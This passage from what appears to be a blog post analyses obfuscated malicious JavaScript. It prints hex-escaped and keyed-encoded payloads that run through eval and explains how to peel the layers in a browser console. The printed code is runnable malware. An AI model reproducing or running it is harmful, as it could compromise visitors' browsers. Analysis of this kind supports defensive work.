x38\x46\x50\x44\x5f\x54\x71\x61\x45\x56\x47\x4a\x53\x6e\x59\x53\x6a\x25\x32\x38\x5a\x5a\x64\x5f\x4e\x6b\x51\x70\x65\x5a\x62\x69\x5f\x6c\x71\x68\x25\x32\x39\x25\x32\x43\x25\x32\x30\x4c\x71\x51\x55\x6f\x2e\x62\x59\x55\x69\x6a\x77\x59\x47\x68\x45\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x61\x6c\x6a\x5a\x6b\x5a\x6e\x6a\x25\x32\x30\x30\x37\x31\x5f\x66\x64\x25\x32\x46\x68\x48\x51\x6a\x4c\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x44\x25\x32\x30\x25\x32\x38\x66\x54\x68\x5f\x63\x6b\x58\x55\x56\x63\x25\x32\x39\x25\x32\x30\x6e\x49\x56\x57\x69\x64\x25\x33\x42\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x72\x51\x55\x25\x32\x30\x63\x6f\x76\x66\x42\x75\x25\x32\x30\x6e\x25\x32\x30\x59\x66\x59\x72\x64\x56\x6d\x70\x2e\x46\x51\x46\x70\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x62\x25\x32\x30\x25\x32\x38\x63\x62\x34\x65\x4b\x70\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x48\x6f\x4e\x5f\x67\x66\x57\x61\x56\x55\x25\x32\x30\x25\x32\x46\x25\x32\x30\x70\x56\x57\x47\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x41\x49\x49\x5f\x65\x51\x25\x32\x46\x64\x50\x6b\x25\x32\x38\x4b\x75\x70\x6a\x55\x75\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x62\x63\x6a\x64\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x6f\x49\x56\x38\x5a\x63\x61\x65\x58\x6a\x25\x32\x38\x25\x32\x32\x25\x33\x44\x25\x33\x44\x44\x5f\x4d\x6a\x71\x6d\x56\x57\x71\x56\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x73\x7a\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4a\x57\x50\x54\x6a\x65\x65\x51\x25\x32\x30\x4d\x59\x55\x55\x4d\x73\x32\x69\x63\x6b\x58\x55\x25\x32\x38\x57\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x75\x57\x56\x25\x32\x30\x52\x54\x56\x6c\x25\x32\x30\x38\x25\x32\x30\x6d\x4c\x64\x54\x56\x6e\x2e\x4d\x6a\x4d\x6a\x52\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x74\x5a\x65\x63\x6b\x61\x2e\x51\x50\x63\x65\x57\x54\x25\x32\x30\x70\x25\x32\x30\x56\x6b\x55\x54\x52\x65\x50\x69\x25\x32\x38\x25\x32\x39\x25\x32\x30\x25\x37\x42\x25\x32\x30\x5a\x62\x25\x32\x30\x25\x32\x38\x6d\x69\x56\x75\x25\x32\x39\x25\x32\x30\x6c\x56\x47\x58\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x57\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4d\x65\x64\x47\x65\x6d\x38\x65\x4a\x6b\x42\x59\x25\x32\x38\x41\x4f\x4a\x5f\x66\x65\x42\x6e\x49\x43\x56\x56\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x69\x61\x6a\x39\x59\x63\x4c\x66\x53\x70\x25\x32\x38\x25\x32\x32\x78\x4e\x44\x5f\x6b\x6b\x36\x69\x64\x57\x58\x47\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x6a\x72\x71\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x31\x25\x32\x41\x25\x30\x44\x25\x30\x41\x50\x69\x57\x25\x32\x30\x74\x25\x32\x30\x55\x5f\x46\x61\x59\x25\x32\x38\x25\x32\x30\x59\x5f\x53\x32\x31\x25\x32\x38\x25\x32\x30\x25\x33\x46\x25\x33\x46\x25\x32\x30\x25\x32\x39\x25\x32\x30\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x45\x4b\x4c\x79\x33\x38\x45\x73\x44\x66\x47\x66\x43\x4d\x42\x75\x25\x32\x42\x66\x38\x78\x45\x50\x5a\x71\x44\x69\x39\x67\x31\x38\x51\x63\x4a\x70\x32\x6f\x43\x78\x51\x49\x4a\x4b\x50\x75\x4a\x51\x54\x71\x4c\x66\x72\x65\x31\x71\x50\x69\x44\x50\x43\x73\x37\x4b\x39\x7a\x31\x65\x38\x7a\x4a\x71\x25\x33\x44\x76\x4a\x4e\x35\x65\x25\x30\x44\x25\x30\x41\x45\x4a\x45\x6d\x33\x70\x47\x6b\x44\x48\x55\x59\x49\x61\x45\x7a\x44\x4b\x59\x66\x34\x4c\x49\x74\x50\x66\x25\x32\x46\x5a\x44\x5a\x25\x32\x42\x74\x25\x32\x42\x66\x77\x72\x45\x66\x46\x74\x50\x79\x56\x51\x32\x4c\x54\x6f\x49\x36\x42\x70\x44\x67\x25\x33\x44\x61\x4b\x37\x55\x62\x4a\x67\x4c\x75\x4c\x76\x43\x62\x32\x61\x61\x79\x43\x4d\x4f\x72\x25\x30\x44\x25\x30\x41\x37\x71\x74\x79\x41\x4f\x50\x78\x4b\x71\x48\x31\x4b\x25\x32\x42\x41\x62\x45\x63\x55\x74\x32\x70\x25\x33\x44\x53\x45\x48\x49\x64\x55\x61\x56\x68\x44\x64\x54\x73\x44\x73\x71\x59\x44\x50\x43\x66\x43\x4a\x46\x70\x79\x66\x38\x78\x51\x50\x56\x72\x45\x6c\x55\x63\x31\x73\x54\x6e\x4a\x70\x25\x32\x42\x73\x44\x41\x25\x33\x44\x55\x4a\x4e\x50\x74\x25\x30\x44\x25\x30\x41\x49\x51\x50\x72\x4d\x66\x76\x61\x31\x37\x53\x76\x44\x4d\x37\x73\x36\x61\x39\x78\x31\x68\x48\x79\x57\x61\x54\x79\x49\x4e\x70\x65\x45\x4a\x59\x70\x33\x70\x47\x6a\x44\x34\x56\x4c\x49\x64\x55\x30\x44\x71\x48\x73\x34\x4c\x74\x74\x4f\x79\x4b\x69\x44\x63\x25\x32\x42\x70\x78\x25\x33\x44\x25\x33\x44\x76\x45\x69\x56\x70\x44\x43\x55\x63\x25\x30\x44\x25\x30\x41\x32\x4c\x4c\x73\x56\x36\x79\x6d\x44\x51\x4c\x57\x49\x72\x54\x72\x4a\x6a\x50\x70\x4c\x25\x33\x44\x44\x4d\x32\x61\x37\x79\x4f\x63\x25\x33\x44\x5a\x36\x61\x6c\x79\x30\x4f\x50\x79\x4b\x61\x62\x31\x56\x25\x32\x42\x41\x5a\x45\x63\x49\x6f\x32\x36\x4f\x65\x44\x48\x25\x32\x42\x4e\x54\x4b\x56\x69\x45\x61\x6a\x79\x33\x62\x41\x6f\x43\x66\x33\x66\x25\x30\x44\x25\x30\x41\x43\x70\x47\x64\x79\x66\x4c\x79\x44\x76\x56\x6f\x44\x69\x39\x67\x31\x38\x50\x6f\x4a\x70\x32\x73\x50\x51\x51\x48\x4a\x61\x50\x75\x4a\x41\x50\x6f\x4c\x66\x73\x4e\x33\x4b\x25\x32\x46\x73\x44\x63\x37\x74\x37\x4b\x39\x78\x30\x65\x34\x7a\x4b\x37\x54\x30\x4a\x4e\x35\x65\x51\x5a\x45\x6d\x43\x4a\x61\x66\x44\x6f\x59\x5a\x25\x30\x44\x25\x30\x41\x49\x61\x51\x7a\x50\x71\x58\x74\x34\x62\x35\x74\x45\x50\x53\x66\x44\x63\x46\x70\x25\x32\x42\x50\x70\x66\x44\x43\x42\x73\x45\x53\x56\x4f\x31\x4c\x34\x73\x49\x4a\x42\x6f\x44\x67\x25\x33\x44\x61\x49\x25\x32\x42\x50\x75\x4a\x6a\x50\x70\x58\x76\x7a\x59\x32\x61\x47\x79\x50\x4d\x25\x32\x46\x6d\x37\x71\x78\x79\x31\x4f\x54\x78\x4a\x61\x34\x31\x25\x30\x44\x25\x30\x41\x49\x25\x32\x42\x42\x4d\x45\x5a\x67\x73\x33\x70\x50\x54\x44\x48\x39\x63\x48\x37\x59\x77\x45\x71\x6a\x79\x33\x62\x41\x76\x44\x69\x43\x66\x50\x5a\x33\x63\x78\x43\x34\x72\x50\x50\x56\x70\x45\x79\x67\x63\x31\x73\x4c\x6d\x4a\x70\x32\x74\x45\x41\x50\x58\x4a\x4b\x62\x74\x55\x77\x51\x64\x4c\x66\x72\x61\x42\x37\x25\x32\x46\x73\x25\x30\x44\x25\x30\x41\x43\x63\x37\x70\x36\x4b\x75\x69\x30\x75\x38\x76\x4a\x4b\x41\x6c\x49\x64\x74\x62\x44\x47\x38\x32\x25\x30\x44\x25\x30\x41\x25\x32\x41\x6f\x25\x30\x44\x25\x30\x41\x27\x29\x29\x3b'</span>; <span style="color: #0000ff">return</span> moqbqYo; } <span style="color: #0000ff">var</span> ifOXCIjSUMc = eval; ifOXCIjSUMc(aAwJinPSCPg());</pre>
</p></div>
</div>
<p>The \x45 are hex codes.&#160; Essencially what is going on here is the developer is using hex code to represent text.&#160; Not exactly super obfuscated, but interested.&#160; If you scroll all the way to the end you will see an ‘eval’ command – which reinforces the notion that eval is evil in javascript.&#160; Anyway, still using the console tab in Chrome, all of this can be evaluated.&#160; In this case, I have to evaluate it twice, because the outputted code is still obfuscated:</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> clReNWvDNSS = <span style="color: #006080">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='</span>; <span style="color: #0000ff">var</span> FzCfZkfvHvl = <span style="color: #006080">'f=(&lt;8=&gt;yy@=+))87=x*77.y'</span>;  <span style="color: #0000ff">function</span> blMfGaVxxxv(s) { <span style="color: #0000ff">var</span> vNbrQcGifBJ = <span style="color: #006080">''</span>; <span style="color: #0000ff">var</span> NcipcTbOcs = -1; <span style="color: #0000ff">var</span> c = 0; <span style="color: #0000ff">var</span> kDYCcFlZEm = 0; <span style="color: #0000ff">var</span> JRtzFtY = unescape(s);  <span style="color: #0000ff">for</span> (<span style="color: #0000ff">var</span> i=0;i&lt;JRtzFtY.length;i++) { NcipcTbOcs = clReNWvDNSS.indexOf(JRtzFtY.charAt(i)); <span style="color: #0000ff">if</span> (NcipcTbOcs &gt;= 0) { kDYCcFlZEm = (NcipcTbOcs - FzCfZkfvHvl.charCodeAt(c)) % clReNWvDNSS.length; <span style="color: #0000ff">if</span> (kDYCcFlZEm &lt; 0) { kDYCcFlZEm += clReNWvDNSS.length; }  vNbrQcGifBJ += clReNWvDNSS.charAt(kDYCcFlZEm);  c++; <span style="color: #0000ff">if</span> (c &gt;= FzCfZkfvHvl.length) { c = 0; } } <span style="color: #0000ff">else</span> { vNbrQcGifBJ += JRtzFtY.charAt(i); } }  <span style="color: #0000ff">return</span> vNbrQcGifBJ; } eval(blMfGaVxxxv(<span style="color: #006080">'TWS%20eji_oVgnnX_QP%09%093%20jnkH%3B%0D%0AlQY%20aQi_SZgkok_RbYIUU%093%20%27XpjS%3A11J.jRWUXfqkkVq.YSOnyt5xksvsrjZb1TW1uU%2Bxp%27%3B%0D%0AXCi%20Zoc_UUfViR_fBqRkk%093%20%27YspT%3AnnT.ipQWSebeRaS.Xfi8yu83mel2q7vlSRH0g0mw2%27%3B%0D%0ArXi%20ari_VGRfhp_ZDlQVWD%098%20%27Iokl%3A82T.rpEVEfkjjHh.SVdj3fww4ys2z7kFDVuxwj1rs%27%3B%0D%0Am%2Fn%20Knd_nbgfqp_PQCUUZ%092%20%27KjjW%3A2jY.ToRpZflmpIT.Efc7xhrvprd7b6V2Yrx54Jnd2%27%3B%0D%0AlWh%20Mic_YVNkSo_ckXUWZeP%09o%20%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgsv4rm1qsweWcXVz62s%2B%27%3B%0D%0A%0D%0ArET%20Ljc_hQE_ed%09%09%09t%20kPqF%3B%0D%0AqRn%20gjd_kWF_CETUoi%09%09p%20%27Xjag%3Aj7GgpbfjYdnW.EJ2ml-QGcYU2ALBiVhU2ZmZIZ.RYf%3FWSWYeU3QpBoj_WZTVro%27%3B%0D%0AZCT%20aii_bDR_ZHm%2FkO%09%097%20%27Ypqg%3A2%2BbPaHZidUUi.SO2Ul-BYdek2TOWRGNO1edGUn.WYN%3FWDoZkk3jsWXU_LRlWeQ%27%3B%0D%0AlQY%20aQi_MVS_fXmRnbJ%09%09o%20%27Jkjl%3A1oVbfWGoIZio.ZY2vl-EFOZd7S5QdLc87JiUau.gYo%3FWGVKfd8iWQjZ_a%2FrBjWb%27%3B%0D%0AsRi%20ioQ_NCS_bkQGUT%09%09t%20%27YRpQ%3A62bipWhoLGTj.Sd1Zf-QKdGjmXGWkVcW7MPFVn.lXS%3FQSaZMjnnkWqj_cnWHGF%27%3B%0D%0AmQn%20ZVc_bHS_JkBYWWfc%093%20%27gpXR%3An2VhoIYiOVPo.Dc2sm-RUleRnEGQjUON1PeBaY.kYl%3FXTkhkRoUkQpi_OeQKW%2FeM%27%3B%0D%0A%0D%0AqRn%20gjd_kkEFGU%09%09%092%20bQOiU%3B%0D%0AcRP%20fTh_RlmcVs_eRFGo%092%20x%3B%0D%0AlDh%20ZZd_%2FlQgVp_Zflmp%09q%20ecr%3B%0D%0AlWh%20Mic_HgNhFo_gnbWZw%098%20%27E%27%3B%0D%0AXCi%20Zoc_DffSVR_qSg%09%093%20%27dqkg%3A%2B7EFXRdYUGgkHcGpZnpoqVd.bkQnvVj79Hj.fOg%3F%2F8m%27%3B%0D%0A%0D%0AqRn%20gjd_okTWPUUn_kUb%092%20%27OkRl%3Am6TailcZnFQO.Tei1Mi1JcGYLkfl.gj%27%3B%0D%0A%0D%0AWtjGVKfd%20FI2_WUa4NlMZkQOC%28%29%0D%0A%7B%0D%0A%092%2BWPGTk%28Zoc_DffSVR_qSg%201%20fpd_RolPGV_ghaVLn%200%20QjK_WQkcaq_Zecab%20m%20%27.LRh%27%29%3B%0D%0A%09nUWkhU%20aQi_Bkghbk_lqh%20o%20LUd_QlfOUj_WiCbJs%201%20fpd_RolPGV_ZdZUa%200%20%27.ZHi%27%3B%0D%0A%7D%0D%0A%0D%0ADqOXkele%20ARI_GTGRja%2FIhQTV%28QnD%29%0D%0A%7B%0D%0A%09qRn%20fWiZiI%20o%20FfSqcHdj.JiCWUZ8hbdVmp%28%27MHTRca%27%29%3B%0D%0A%09YIhQTV.QnD%207%20jnZ%3B%0D%0A%09ZWqWQG.UkohU.YYiPSGhJop%208%20%27eZUcaR%27%3B%0D%0A%09KHiQiU.VjoSV.BeTkcWv%203%20%27ZmhMPG%27%3B%0D%0A%09ZVnQPU.iapJa.NVicfe%203%20%27z%27%3B%0D%0A%09eJTCdU.ojbbU.WRBZJiX%208%20%27x%27%3B%0D%0A%09ZWqWQG.UkohU.EehKVP%208%20%27Ojea%27%3B%0D%0A%09fWiZiI.UVpba.mLTjO%203%20%27Y%27%3B%0D%0A%09eGmRib.jkxhI.JGZWdj%20p%20%27q%27%3B%0D%0A%09hLkSnO%20dWnXdV%3B%0D%0A%7D%0D%0A%0D%0AeqREVZej%20%3D8C_SYV%2FpFNTnfgk%28rnG%29%0D%0A%7B%0D%0A%09XCi%20iYhLfj%20t%20UMYVhVjq.TidWXGtcUiUQj%28%27iJiGlU%27%29%3B%0D%0A%09nTnfgk.suTG%20o%20%27kUtjoZQcRQYSdgp%27%3B%0D%0A%09pTihlX.UTT%202%20ohF%3B%0D%0A%09hUalPj%20TXiemk%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20cUWNC5%2FRpQMVmrVjs%28%29%20%0D%0A%7B%0D%0A%09eJ%20%28YKeTkm.ACB1kRl5Zhqbjk%29%20qaXWTe%20dam%20ZYdKfU.T0G%2FpqgIdmYGUk%3B%0D%0A%09UhiH%0D%0A%09%7B%0D%0A%09%09jhf%0D%0A%09%09%7B%0D%0A%09%09%09iCpVme%20jbn%204bpMXGOEXZHSj%28%226ZAnPnfbq.ODKD%2B84%22%29%3B%0D%0A%09%09%7D%0D%0A%09%09TQpSK%28Un%29%0D%0A%09%09%7B%0D%0A%09%09%09YVRqSi%20eqic%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_bQIIClPmk%28qoc%29%0D%0A%7B%0D%0A%09mZn%20S6Gh%202%20cUWNC5%2FRpQMVmrVjs%28%29%3B%0D%0A%09eJ%20%28Q6Vg%29%0D%0A%09%7B%0D%0A%09%09kHHg.eUiCWEtjpXkVbdEPIV%202%20bkQSjPfL%20%28%29%0D%0A%09%09%7B%0D%0A%09%09%09eG%20%28jIan.iVZZc7VRja%202p%20u%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09YM%20%28f2aR.nkWqlj%20%2F8%20gcc%29%0D%0A%09%09%09%09%7B%0D%0A%09%09%09%09%0921sYQTed.RJaSo%28%27Wnld%20TZhPDCTa%20%27%206%20e7Ug.YVQlPijaQVos%29%3B%0D%0A%09%09%09%09%7D%0D%0A%09%09%09%7D%0D%0A%09%09%7D%3B%0D%0A%09%0D%0A%09%09k8GS.ffad%28%22w7J%22%2C%20biJ%2C%20pSpV%29%3B%0D%0A%09%09kOVh.raRF%28%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHldYjLed%203Jx_hBWIamfisy%28YTN%29%0D%0A%7B%0D%0A%09mQn%20XK4eKp%20k%20ZPXlibek.akHa%3B%0D%0A%09KW%20%28Xd4RTo%29%0D%0A%09%7B%0D%0A%09%09OYmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRawaiWjV%28lqh%29%2C%20LJqfTu.VLhia6FeMY%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWqkTkhkR%20y7D_SnUDjU2dE%28oSX%29%0D%0A%7B%0D%0A%09mWo%20Zdf%208%20HQElcadW.ShLRRasgVibek%28%27hiK%27%29%3B%0D%0A%09KOX.inS%20p%20ihJ%3B%0D%0A%09iCpVme%20ejX%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_ShLRRa6kRj%28ekdk%29%0D%0A%7B%0D%0A%09rET%20UgQj%202%20GeSbdCjU.XiaXkVDhIOGej%28%27ofDd%27%29%3B%0D%0A%09iWRL.eOiVnEKDK%208%20LVOc%3B%0D%0A%09hajXhd%20Zg%2Fj%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_IVj9fSbUa%2FRiM%28%29%0D%0A%7B%0D%0A%09mVprie%20%27%3CZlTNGk%20dWcH2%22%2A3A8y%C7%C3K%2A%20oolWiZqZ%E7%E3k%20HG%207VWqhDd%E7Q%20wcGmVZ%20Vi%20BO8BQ%2Bp6%20%21%21%22%20TeZUp%22Q.SSRQo%22%20BmTdfmV%2F%22%27%206%20071_XUp3SfbLk5Nz%28%29%205%20%27%3Fi8%27%207%20DRsd.JNQfh%28xqdqqh%201%20%28xWUc.iWkUfl%28%29%2A5nll0z%206%20r%29%29%20n%20%27%22%20mYKkF8%22b%22%20cVedYk%2F%22w%22%20%20WVacU8%22lLiYIZJeUt%3A%20YeaUVm%22%3E%09%09%3ClETCd%20dWcH2%22b%22%20cRJqF7%22Ypqg%3A2%2BoQUHRca.SRc10VR7uZk.leg%3FR%2FfVG.GoU%22%3E%3C7fDhQT%3E%3C2%2FlQgVp%3E%27%3B%0D%0A%7D%0D%0A%0D%0AclebpMQP%20AII_WHj3WgJaUCkii_O%28%29%0D%0A%7B%0D%0A%09idpYTP%20%27%3CRflbHj%20dHdC8%22%2AoO8J%C7%C3L%2A%204ktWPKbR%E7%E3e%20ZU%208UWbi%2Fj%E7B%20%2BcenlV%20di%20v%3Dt6KP37%20%21%21%22%20SeKVk%22W.DgRop%22%20RibdMXG3%22%27%200%20fiP_QfWcCp_Vmc%206%20%27gRmZX.NCT%3Fi2%27%206%20CDjX.McMkS%28wrwxrr%209%20%28IEVJ.iQjTRc%28%29%2Azq0h5k%205%20s%29%29%206%20%27%22%20tZUsdq%22c%22%20JVYcXW2%22q%22%20%20ZkWhF7%22mepZShhMVa%3A%20YYZTHd%22%3E%09%09%3CfHi%2Fi%20OVda9%22c%22%20mZhYGo%22Yjpf%3Ao1iTjDWNZ.Tkj2%2BdppvGk.fdf%3FD2ZYV.CtF%22%3E%3C6gWoRd%3E%3C%2BWTRNVj%3E%27%3B%0D%0A%7D%0D%0A%0D%0AbkQSjPfL%20F6H_fjIfRc%28%29%0D%0A%7B%0D%0A%097pTGgenj%20OeQK%20jSYDZjo%0D%0A%09fW%20%28ari_VGRfhp_eQ%29%20%3DI6_TPaBoVEjX%28ari_VGRfhp_bRQTLU%29%3B%0D%0A%09j7Ja%20%28aoj_cRa_kR%29%20y7D_bWR7UfViR%28fTh_cWY_cfZZIF%29%3B%0D%0A%09KW%20%28Zoc_OQR_Ve%29%20uO0_gRXOVgnnXe%28Ljc_hQE_beHUCZ%29%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_QeBkQG%3DQcR8%28%29%0D%0A%7B%0D%0A%09F6H_TnbRkdEQI%28%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgwv2sg1qsSB3iZRya2s%2B%27%29%3B%0D%0A%7D%0D%0A%0D%0AbYPEkYkd%20zIC_VewkBY9Wfc%28%29%0D%0A%7B%0D%0A%092%2BnIRQij%20heDT%20VHZJ%0D%0A%09eG%20%28eji_oVgnnX_QP%29%20AII_SUUQaVtiH%28eji_oVgnnX_NQRTbQLb%29%3B%0D%0A%091sZD%20%28fTh_cWY_fe%29%20IO3_NCSHafRhj%28QjK_hBW_ckXUWZeP%29%3B%0D%0A%09KH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqpg%28LUd_bWR_OeQKW%2FeM%29%3B%0D%0A%09%0D%0A%09dW%20%28fpd_RolPGV_ZdZUa%20%3C%20ZiT_RNlMZk_Ylles%29%0D%0A%09%7B%0D%0A%09%09fWO_CgfhUW_YdKVV6l%3B%0D%0A%09%0D%0A%09%09qRn%20e5fcu%20q%20FQTkiUQj.RVUW%3B%0D%0A%09%09eG%20%28c5kap%29%0D%0A%09%09%7B%0D%0A%09%09%09mZn%20LVOc%202%20FI2_WUa4NlMZkDqdc%28%29%3B%0D%0A%09%09%09g%2BSFa.ZdoUUj4LWMnF%28EJI_ZiVZpI7RRd%28djPb%29%2C%20XvfBu.Gdioq6YhhH%29%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHWeSpYRd%20%3D%3DD_MjwiZp%28e5fcu%29%0D%0A%7B%0D%0A%09%0D%0A%09pnTVfkhW%20QSJVQo%0D%0A%09Ja%20%28aoj_iVokVV_Qe%29%20%3DOC_FhUHkCENb%28aoj_iVokVV_CTSaiV%29%3B%0D%0A%0911PW%20%28HoN_gRX_le%29%20ARI_PCDIUleUj%28ZZd_JWC_VTYbjj%29%3B%0D%0A%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_QYSHii%29%3B%0D%0A%09%0D%0A%09PW%20%28F%2BPYp%29%0D%0A%09%7B%0D%0A%09%09rXi%20YsiP%20o%20%27%27%3B%0D%0A%09%09%0D%0A%09%09KW%20%28dWlLWQafP.fBqRAkRSkaH%28%29%29%0D%0A%09%09%7B%0D%0A%09%09%09nnaQrQ%20Rd%0D%0A%09%09%09%0D%0A%09%09%09XadJ%208%20xND_cbk4olPGV%2Fjib%28%29%20n%20%27%20%27%200%20%3D%3DD_EaU8gliVkGpQN_%3D%28%29%3B%0D%0A%09%09%09%0D%0A%09%09%0921nUSeha%20a%2FrB%20ZeWYcVc%20WGEGji%0D%0A%09%09%09eV%20%28Mic_YVNkSo_fj%29%20GJD_bnICVV%2FiW%28Mic_YVNkSo_aWsRfm%29%3B%0D%0A%09%09%097pKH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqp%28NUO_cQX_ZDlQVe%29%3B%0D%0A%09%09%09Gb%20%28Knd_hXS_fm%29%20F91_NRRNUSehat%28HoN_gRX_gRmZkR%29%3B%0D%0A%09%09%09%0D%0A%09%09%09JqfTu.YQiUYkmaGjia%28GJD_bnICVVIlQQ%28XjTc%29%2C%20F%2BPYp.bfijs%2FLKNU%29%3B%0D%0A%09%09%7D%0D%0A%09%09UhiH%0D%0A%09%09%7B%0D%0A%09%09%0911QRTW%20PaW%0D%0A%09%09%09%0D%0A%09%09%09ec%20%28kpoaSH%20YZdZeZ.YdUVPSJYkd%20%219%20%27lecaJKPVT%27%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%20%20rYHmfViRsJYkd%209%20nZmZSY.Kedah%3DYTaY%3B%0D%0A%09%09%09%20%20TeFrgkokYdeKJV%203%20medGem.PeLaSCVedYk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%20%0D%0A%09%09%09dhWG%20KW%20%28jufHeV%20KfAqNZep.afTtiIPV8bacHdj%20%21t%20%27lLZFaZjbU%27%20%26%26%20kxlIQH%20UeYkPUda.UMYVhVjq8cdiIPV.TbeUQjMPURd%20%21n%20%27peZbWZmaH%27%20%26%26%20FQTkiUQj.TVTSiFikAiVddjX.ENZUjj%3DYTaY%20%21k%20w%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09WdVsmfissMFVY%202%20ZeFkcLeR.ZPXlibekDhIOGej.YbLUdaNGZUc%3B%0D%0A%09%09%09%09mebngnnXJGZWdj%20p%20TeJlKaOo.UkZlddjXtNVcadW.SbPVLpvZZcek%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09VkoI%0D%0A%09%09%09%7B%0D%0A%09%09%09%09XKVmleUjmPURd%20n%20YfYrdVmp.KGV8bacHdjZ5WPBbEWjV%28%27SnZc%27%29%5Bc%5D.EcYadWMYKkF%3B%0D%0A%09%09%09%09rJZnllikgaMIJk%202%20ZeFkcLeR.cFo8hbdVmpWqaKQcDDcU%28%27IfBu%27%29%5Bb%5D.XcebekGaMIJk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%0D%0A%09%09%0917XWcb%20t%20%27a%2FrB%20dj%20JLK%20VmWFNGU...%27%3B%0D%0A%09%09%09XpcO%202%20%27%3CTPm%20GZn%22spv_iZXgp_GQPk%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20UZop-XcZfj%3A%20GGPkUn%3B%20jRf%3A%20q%3B%20SVDp%3A%20b%3B%20rZZqY%3A%20szz%25%3B%20LGKXXp%3A%20rdt%25%3B%20p-PeBaY%3A%204rwz%3B%20SRbgKTQldZ%3A%20dRdU%22%3E%3CKZT%20eE7%22ouw_cZfdX%22%20UVpba2%22GYiWc%2Fu%3A%20Ojea%3B%20jRifeR%3A%20c%20Cljk%3B%20cDhWPe-RkQ%3A%20wuwmo%3B%20nhZXJ%3A%20irqln%3B%20SQTKZLc%3A%20b%3B%09WfnaVi%3A%2002TZ%20UfbeT%20%23frsitZ%3B%20XPmUao-kfo%3A%20jSPG%3B%20SQYaJhebeB-YPgfn%3A%20tYZsa%3B%20d-KPUUt%3Azdqt%3B%20VmCnGgfs%3A%20Xlkn%3B%20bSPV-WQiYOo%3A%20JHYMiB%3B%20afjq-jZya%3A%20fdRo%3B%20SkbRh%3A%20RSRAg%3B%20UZop-XcZfj%3A%20GGPkUn%3B%22%3E%3C%21--%3CTLl%20iapJan%22oVtq-RchcR%3A%20NGWj%3B%20sYGjX%3A%20or%25%3B%20KWSbZj%3A%20Xlkn%20WYVQ%3B%20SQYa